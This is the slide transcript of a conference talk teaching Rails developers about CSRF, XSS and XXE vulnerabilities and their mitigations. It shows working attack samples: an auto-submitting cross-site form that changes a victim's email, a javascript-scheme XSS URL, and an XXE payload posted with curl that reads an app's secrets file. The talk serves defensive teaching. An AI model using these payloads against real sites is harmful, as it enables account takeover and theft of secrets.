Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Security is Broken: Understanding Common Vulnerabilities

Security is Broken: Understanding Common Vulnerabilities

Mountain West Ruby Conference

Eileen M. Uchitelle

March 21, 2016
Tweet

More Decks by Eileen M. Uchitelle

Other Decks in Technology

Transcript

  1. SECURITY IS BROKEN Understanding Common Vulnerabilities

  2. EILEEN M UCHITELLE Security, Performance, & Infrastructure at Basecamp !

    eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes
  3. None
  4. None
  5. OPEN SOURCE Rails Committers Rails Security

  6. None
  7. None
  8. How is security broken?

  9. • Impossible to test for all possible vulnerabilities How is

    security broken?
  10. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead How is security broken?
  11. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead • Patching one vulnerability can lead to exposing new ones How is security broken?
  12. How did we get here?

  13. • Failed to enforce web standards How did we get

    here?
  14. vs.

  15. None
  16. • Failed to enforce web standards • Failed to implement

    a definition of security How did we get here?
  17. ...completely failed to come up with even the most rudimentary

    usable frameworks for understanding the security of modern software. – Michal Zalewski, The Tangled Web
  18. • Failed to enforce web standards • Failed to implement

    a definition of security • Too few people understand the vulnerabilities How did we get here?
  19. None
  20. CSRF

  21. CSRF Cross-Site Request Forgery

  22. EXPLOITING CSRF

  23. None
  24. <form class="edit_user" action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen" name="user[name]"

    /> <label for="user_email">Email</label> <input type="text" value="eileen@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form>
  25. None
  26. Looks the same, different URL

  27. <body onload=“document.forms[0].submit()"> <form action="http://victimsite.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen"

    name=“user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body>
  28. <form action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen" name=“user[name]" />

    <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> Attackers email
  29. <body onload=“document.forms[0].submit()"> <form action="http://victimsite.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form
  30. <body onload=“document.forms[0].submit()"> <form action="http://victimsite.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form to victim site
  31. Attacker’s email

  32. How dangerous are CSRF attacks?

  33. How to mitigate CSRF?

  34. • Use built-in framework CSRF protection How to mitigate CSRF?

  35. None
  36. class ApplicationController < ActionController::Base protect_from_forgery with: :exception end

  37. <form action="/users/2" method="post"> <input type="hidden" value="31RRdFdpulXYDxsOjyTRqKPiJxcP3+ayC==" name=authenticity_token" /> <label for="user_name">Name</label>

    <input type="text" value="Eileen" name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> CSRF protection
  38. Caveat: CSRF protection in Rails is order-dependent

  39. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end
  40. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class OtherController < ApplicationController skip_before_action :authenticate before_action :authenticate_method, only: :create end
  41. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class OtherController < ActionController::Base skip_before_action :authenticate before_action :authenticate_method, only: :create protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end
  42. None
  43. • Use built-in framework CSRF protection • Rails 5 supports

    per-form tokens How to mitigate CSRF?
  44. • Use built-in framework CSRF protection • Rails 5 supports

    per-form tokens • Refresh tokens with the session / don’t reuse tokens How to mitigate CSRF?
  45. class SessionsController < ApplicationController def destroy sign_out reset_session redirect_to sign_in_url

    end end Refreshes Authenticity Token
  46. • Use built-in framework CSRF protection • Rails 5 supports

    per-form tokens • Refresh tokens with the session / don’t reuse tokens • Mitigate XSS attacks How to mitigate CSRF?
  47. XSS

  48. XSS Cross-Site Scripting

  49. EXPLOITING STORED XSS

  50. None
  51. None
  52. Escaped HTML

  53. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= @user.name %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %>
  54. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %>
  55. Unescaped HTML

  56. JavaScript Scheme

  57. None
  58. javascript://example.com/%0Aalert(1)

  59. example.com/%0Aalert(1) JavaScript Scheme javascript://

  60. javascript://example.com/%0Aalert(1) URL example.com

  61. Percent encoded “line feed” javascript://example.com/%0Aalert(1) %0A

  62. JavaScript Alert javascript://example.com/%0Aalert(1) alert(1)

  63. How dangerous are XSS attacks?

  64. How to mitigate XSS?

  65. • Always escape user-provided data How to mitigate XSS?

  66. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Don’t do this
  67. None
  68. • Don’t HTML escape user-provided data • Sanitize user-provided data

    How to mitigate XSS?
  69. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= sanitize(@user.name) %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Will strip out unwanted tags and attributes
  70. • Don’t HTML escape user-provided data • Sanitize user-provided data

    • Validate user-provided data How to mitigate XSS?
  71. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  72. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  73. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  74. XXE

  75. XXE XML eXternal Entity Attack

  76. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_6-7.xml”>

    ]> <list> <todo>Groceries</todo> <todo>Take Arya to the vet</todo> &ext1; <todo>Pick up beer</todo> <todo>Get car oil changed</todo> </list>
  77. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_6-7.xml”>

    ]> <list> <todo>Groceries</todo> <todo>Take Arya to the vet</todo> &ext1; <todo>Pick up beer</todo> <todo>Get car oil changed</todo> </list> Entity reference
  78. <!-- list_items_6-7.xml --> <todo>Book flight to Salt Lake City</todo> <todo>Finish

    Security is Broken Talk</todo>
  79. <!-- after parsing --> <list> <todo>Groceries</todo> <todo>Take Arya to the

    vet</todo> <todo>Book flight to Salt Lake City</todo> <todo>Finish Security is Broken Talk</todo> <todo>Pick up beer</todo> <todo>Get car oil changed</todo> </list>
  80. EXPLOITING XXE with cURL

  81. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end
  82. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end XML
  83. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user>
  84. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user> Requested file
  85. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user> Entity
  86. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://vulnerablesite.com/users.xml POST

    request to users create
  87. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://vulnerablesite.com/users.xml Payload

  88. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://vulnerablesite.com/users.xml <user>

    <name> ... production: secret_key_base: 271a389cf7bf7b4ff18af3e809241603802b5ff1617b5432a41ff0f99d5 f29c897db7f07a9cebd9e3a3535301720c0b19ac4eb82afa505ed229c40 00e166a9a5 ... </name> </user> User’s Name
  89. None
  90. How dangerous are XXE attacks?

  91. None
  92. How to mitigate XXE?

  93. • Don’t parse XML How to mitigate XXE?

  94. Don’t parse XML

  95. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) How to mitigate XXE?
  96. >> LibXML::XML.default_substitute_entities >> true

  97. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) • Whitelist known entities How to mitigate XXE?
  98. Investigate vulnerabilities & patches SECURITY

  99. owasp.org

  100. Resilience & empowerment SECURITY

  101. None
  102. GitHub
 eileencodes/security_examples

  103. Awareness of vulnerabilities SECURITY

  104. None
  105. To the future

  106. EILEEN M UCHITELLE Security, Performance, & Infrastructure at Basecamp !

    eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes